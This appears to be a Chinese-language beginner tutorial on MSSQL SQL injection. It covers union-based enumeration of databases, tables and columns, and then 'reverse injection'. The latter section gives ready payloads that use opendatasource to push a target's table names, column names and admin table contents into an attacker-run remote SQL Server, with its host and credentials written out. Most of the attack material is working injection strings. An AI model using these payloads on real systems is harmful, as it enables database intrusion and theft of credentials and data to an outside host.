web安全入门(第五章-4)反弹注入

一、MSSQL反弹注入使用场景

	0,MSSQL数据库就是Sql server数据库
	1,前言
		MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,
		存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路
	2,遇到问题
		明明有注入点却无法进行注入,工具攻击速度也是异常缓慢,错误提示信息关闭,
		无法返回注入结果,这些都是在注入攻击中常常遇到的问题。为例解决以上的疑难杂症,
		我们来学习反弹注入,反弹注入则依靠opendatasource函数支持
	3,简单总结
		反弹注入就是利用opendatasource函数,将当前数据库中的查询结果发送给另一个数据库中

二、快速搭建一个MSSQL环境

1,利用十分钟邮箱(例如:bccto.me)在香港云上白嫖一个服务器(webweb.com)
2,根据目标数据库,建立相同类型数据库,建立表(表名随意),字段(名字随意,字段一定相同)

三、MSSQL反弹注入语句解析

MSSQL于MYSQL不一样
联合查询为例:
	首先猜字段
	然后联合查询,要写union all
	然后猜输出点要使用NULL去填充


1.	例如:url id=1	
			id=1' union all select null,null,null from news -- qwe
			提一下:
					~union后注意有个 all
					~select后,不可以加1,2,3,也不是不可以,这的数据类型要一致。
						因为一般来说,我们都不知道,所以写null,即无类型
						之后,可以用asd来测试是不是字符,这样以此来测试
2,直接在sql server数据库中查询
	查库:	select name from dbo.sysdatabases	
			或者:select *from dbo.sysdatabases			
					//name是库默认属性
					//查询所有库,查出来有默认库,
	查表:	select *from dbo.sysobjects where xtype='U'	
					//稍微改一点关键词,注意增加xtype判断,后边的‘U’是用户的意思
					//代表查询用户创建的表,不然会查出很多表,
	查字段:select *from dbo.syscolumns where id=111

	id是SQL server表默认的字段,类似的还有name

显错注入

		判断是否存在注入
		输入and1=1 页面报错
		加一个’ 给他闭合
	
	查字段数
		‘ order by 3 页面正常
		‘ order by 4 页面错误 说明有3个字段
	MSSQL和MYSQL的区别
		联合查询最好加 all 发现加了all还是没有数据输出  mssql对语句比较严格,最好在填充位填 null 空的意思 页面正常,说明语法是对的

	找输出点
	先试试在第一个地方输入一个5
	页面出现一个5
		在第二个显错位输入字符串’a’ 页面正常
		在第三个显错位输入字符串’a’ 页面正常
	说明第一个只能输数字,因为union select他的核心在于要求两边的查询语句的结果的字段的数量和类型相同

	找到输出点,查询库名
	union all select dbid,name,null from master.dbo.sysdatabases

	查询表名
	union all select id,name,null from dbo.sysobjects where xtype='U'

	爆字段
	union all select null,name,null from dbo.syscolumns where id=1977058079

	爆内容
	union all select null,passwd,null from admin

反弹注入

	判断是否存在sql注入  ‘ and 1=1 -- qwe页面正常  ‘and 1=2 -- qwe页面错误 说名存在sql注入

	‘ order by 3 页面正常 order by 4 页面错误,说明存在三个字段
	在url栏中执行插入  页面正确,说明插入成功

	爆表名
	'; insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14D9383_yz_admin;pwd=12345678;database=DB_14D9383_yz').DB_14D9383_yz.dbo.aa select id,name,null,null from sysobjects where xtype='u'

	爆字段
	'; insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14D9383_yz_admin;pwd=12345678;database=DB_14D9383_yz').DB_14D9383_yz.dbo.aa select id,name,null,null from syscolumns where id=1977058079

	'; insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14D9383_yz_admin;pwd=12345678;database=DB_14D9383_yz').DB_14D9383_yz.dbo.aa select *from admin

	select *from aa  从aa表中查询所有内容

	语法:
	opendatasource(provider_name,init_string)
	provider_name:注册为用于访问数据源的OLEDB提供程序的UPROGID的名称,MSSQL的名称为SQLOLEDB
	init_string:
		连接字符串
		链接地址、端口、用户名、密码、数据库名
	'; insert into opendatasource('sqloledb','server=服务器地址;uid=用户;pwd=密码;database=库名').库名.dbo.表名 select * from admin

你可能感兴趣的:(安全入门)